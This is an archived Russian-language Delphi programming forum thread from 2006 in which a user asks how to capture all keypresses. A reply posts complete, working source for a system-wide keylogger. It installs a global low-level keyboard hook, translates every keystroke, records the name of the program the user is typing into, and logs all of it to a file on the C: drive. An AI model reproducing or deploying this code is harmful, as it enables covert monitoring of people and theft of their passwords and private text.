Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Вниз

Hook клавиатуры   Найти похожие ветки 

 
Человек   (2006-01-02 17:13) [0]

С наступившим!
Возник вопрос, как сделать перехват всех нажатых клавиш, включая shift,alt,tab итд?
Заранее спасибо


 
kami ©   (2006-01-02 18:16) [1]

с помощью WH_KEYBOARD ?


 
kami ©   (2006-01-02 18:35) [2]

Рабочий пример, корректно определяющий нажатия клавиш в русской раскладке (как-то спрашивал про это на форуме, в итоге - сделал сам :-) )

type
  KBDLLHOOKSTRUCT=packed record
    vkCode:DWORD;
    scanCode:DWORD;
    flags:DWORD;
    time:DWORD;
    dwExtraInfo:pointer;
  end;

 TForm1 = class(TForm)
   Button1: TButton;
   Button2: TButton;
   Memo1: TMemo;
   procedure Button1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

function KeyboardProc(code:integer;W:WParam;L:LParam):LResult;stdcall;
function GetModuleBaseName(hProcess:THANDLE;hModule:HMODULE;lpBaseName:LPTSTR;nSize:DWORD):DWORD; stdcall;external "Psapi.dll" name "GetModuleBaseNameA" ;

var
 Form1: TForm1;
 MyHook:HHook;
 KeyFile:TFileStream;
 CurrentFileName:string="";
 LeftCorner:Char="[";
 RightCorner:Char="]";
 Ret:array [0..1] of char=(#13,#10);
const
 WH_KEYBOARD_LL=13;
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject); // установка хука
begin
 KeyFile:=TFileStream.Create("c:\KeyLog.txt",fmCreate);
 MyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,@KeyboardProc,hInstance,0);
 if MyHook=0 then
   ShowMessage("Error : "+IntToStr(GetLastError));
end;

procedure TForm1.Button2Click(Sender: TObject);// удаление хука
begin
 UnhookWindowsHookEx(MyHook);
 KeyFile.Free;
end;

function KeyboardProc(code: integer; W: WParam; L: LParam): LResult;
var
 kbd:KBDLLHOOKSTRUCT;
 keyState:TKeyboardState;
 Ch: packed array[0..1] of char;
 RetChars:integer;
 ProcessID:DWORD;
 ProcessHandle:THandle;
 pFileName:PChar;
 FileNameSize:uInt;
 WindowHWND:HWND;
begin
 if code<0 then
   begin  //if code is <0 your keyboard hook should always run CallNextHookEx instantly and
     Result:=CallNextHookEx(MyHook,code,W,L); //then return the value from it.
     Exit;
   end;
 if (W=WM_KEYUP) then // анализируем по отпусканию клавиши
   begin
     kbd:=KBDLLHOOKSTRUCT(Pointer(L)^);
     GetKeyboardState(KeyState);
     KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);  // НЕ УДАЛЯТЬ!!!
       // GetKeyboardState почему-то не определяет нажатия шифтов, посему
       // для качественного распознавания определим их нажатие сами.

     // начинаем определение программы, в которой была нажата клавиша
     WindowHWND:=GetForegroundWindow;
     ProcessID:=1;// без узнавания активного потока почему-то не работает
     RetChars:=ToASCIIEx(
       kbd.vkCode,
       kbd.scanCode,
       keyState,
       Ch,
       0,
       GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND,@ProcessID)));
     // в Ch - нажатые символы
     // kbd - не изменялся
     // если нужны "непечатаемые" символы, то анализировать vkCode (см Virtual Key Code)

     // определяем имя файла, с которым работает пользователь.
     ProcessHandle:=OpenProcess(
       PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
       false,
       ProcessID);
     GetMem(pFileName,MAX_PATH+1);
     FileNameSize:=GetModuleBaseName(ProcessHandle,0,pFileName,MAX_PATH);
     CloseHandle(ProcessHandle);

     // записываем в лог нажатую клавишу
     if FileNameSize<>0 then
       begin
         if CurrentFileName<>pFileName then
           begin
             CurrentFileName:=pFileName;
             KeyFile.Write(ret[0],2);
             KeyFile.Write(LeftCorner,1);
             if CurrentFileName<>"" then
               KeyFile.Write(CurrentFileName[1],FileNameSize);
             KeyFile.Write(RightCorner,1);
             KeyFile.Write(ret[0],2);
           end;
         if RetChars>0 then
           case kbd.vkCode of
             VK_RETURN:
               KeyFile.Write(ret[0],2);
           else
             KeyFile.WriteBuffer(Ch[0],RetChars);
           end;
       end;
     FreeMem(pFileName);
   end;
 Result:=CallNextHookEx(MyHook,code,W,L);  //call the next hook proc if there is one
end;


 
Leonid Troyanovsky ©   (2006-01-03 16:15) [3]


> Человек   (02.01.06 17:13)  

> Возник вопрос, как сделать перехват всех нажатых клавиш,
>  включая shift,alt,tab итд?


WH_KEYBOARD_LL

--
Regards, LVT.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.46 MB
Время: 0.064 c
2-1141724697
Der Nechk@ssoff
2006-03-07 12:44
2006.03.26
перемещение вверх и вниз


11-1123077196
Dodfr
2005-08-03 17:53
2006.03.26
Remove tab in tabcontrol howto ?


2-1141829973
Nsk3D
2006-03-08 17:59
2006.03.26
вставка в функцию


15-1141487849
Pazitron_Brain
2006-03-04 18:57
2006.03.26
Как отключить картинки в Opera 9?


1-1140446346
Ega23
2006-02-20 17:39
2006.03.26
Use Debug DCUs или что-то ещё?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский